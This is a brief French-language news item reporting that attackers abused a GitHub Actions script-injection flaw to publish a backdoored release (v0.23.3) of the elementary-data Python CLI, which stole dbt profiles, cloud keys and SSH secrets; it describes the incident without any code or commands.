Des attaquants ont exploité une vulnérabilité d’injection de script dans GitHub Actions pour publier une version malveillante de l’interface de ligne de commande Python elementary-data (v0.23.3). Elle intégrait une porte dérobée volant des identifiants, qui ciblait les profils dbt, les clés des fournisseurs cloud et les secrets SSH dans les environnements d’ingénierie des données.